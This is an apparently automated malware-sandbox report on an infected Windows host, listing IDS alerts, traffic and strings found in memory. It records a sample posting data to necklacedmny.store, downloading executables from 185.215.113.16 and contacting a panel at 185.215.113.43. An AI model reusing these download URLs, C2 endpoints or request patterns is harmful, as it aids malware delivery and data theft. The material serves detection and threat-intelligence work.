Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50049 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50072 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50073 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50058 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:50075 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:50076 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49990 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50056 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50116 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50113 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50118 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50115 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50127 -> 104.21.85.194:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50125 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50119 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50122 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50126 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:50130 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50129 -> 104.21.85.194:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50131 -> 104.21.85.194:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50133 -> 104.21.85.194:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50134 -> 104.21.85.194:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50147 -> 104.21.85.194:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50141 -> 104.21.85.194:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50158 -> 104.21.85.194:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50186 -> 104.21.85.194:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50187 -> 104.21.85.194:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50191 -> 104.21.85.194:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50189 -> 104.21.85.194:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50195 -> 104.21.85.194:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50197 -> 104.21.85.194:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50198 -> 104.21.85.194:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50194 -> 104.21.85.194:443
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.245.163.56:443 -> 192.168.2.4:49739

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 52Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18168Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8789Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20442Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1261Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 571385Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 87Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 52Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18168Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8789Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20442Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 52Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1295Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18168Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8789Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20442Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1289Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 48472Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 29026Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 87Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 87Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 52Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18168Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8789Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20442Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1287Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 48449Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 87Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 7_2_00EEBE30 Sleep,InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

7_2_00EEBE30

Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /files/fontcreator.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: global traffic	DNS traffic detected: DNS query: presticitpo.store
Source: global traffic	DNS traffic detected: DNS query: crisiwarny.store
Source: global traffic	DNS traffic detected: DNS query: fadehairucw.store
Source: global traffic	DNS traffic detected: DNS query: thumbystriw.store
Source: global traffic	DNS traffic detected: DNS query: necklacedmny.store

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: necklacedmny.store

Source: file.exe, 00000000.00000003.1833903187.00000000007E1000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2855624046.0000000001763000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: file.exe, 00000000.00000003.1833903187.00000000007E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/(
Source: file.exe, 00000000.00000003.1833903187.00000000007E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/1
Source: skotes.exe, 00000007.00000002.4108997518.00000000006BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: file.exe, 00000000.00000003.1833903187.00000000007E1000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2853047453.0000000001775000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: 9eba8044e7.exe, 0000003B.00000003.2853047453.0000000001775000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exet
Source: file.exe, 00000000.00000003.1833847839.0000000005238000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1833903187.00000000007E1000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2853047453.0000000001775000.00000004.00000020.00020000.00000000.sdmp, 9eba8044e7.exe, 0000003B.00000003.2855624046.0000000001763000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: 9eba8044e7.exe, 0000003B.00000003.2853047453.0000000001775000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exee
Source: 9eba8044e7.exe, 0000003B.00000003.2853047453.0000000001775000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeeh
Source: 9eba8044e7.exe, 0000003B.00000003.2853047453.0000000001775000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeev
Source: file.exe, 00000000.00000003.1833903187.00000000007E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exez
Source: skotes.exe, 00000007.00000002.4108997518.00000000006BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: skotes.exe, 00000007.00000002.4108997518.00000000006BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exek
Source: skotes.exe, 00000007.00000002.4108997518.00000000006BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/test/num.exe
Source: skotes.exe, 00000007.00000002.4108997518.00000000006BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe
Source: file.exe, 00000000.00000003.1833944782.000000000076F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/off/def.exeault-release/key4.dbPK
Source: skotes.exe, 00000007.00000002.4108997518.00000000006BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/
Source: skotes.exe, 00000007.00000002.4108997518.00000000006BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/15.113.43/ows
Source: skotes.exe, 00000007.00000002.4108997518.00000000006BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Local
Source: skotes.exe, 00000007.00000002.4108997518.00000000006BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Pictures
Source: skotes.exe, 00000007.00000002.4108997518.00000000006BA000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000002.4108997518.000000000068F000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000003.3950649971.0000000000715000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000007.00000003.3950766153.00000000006FD000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000002.4108997518.00000000006FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php4
Source: skotes.exe, 00000007.00000002.4108997518.000000000068F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpA
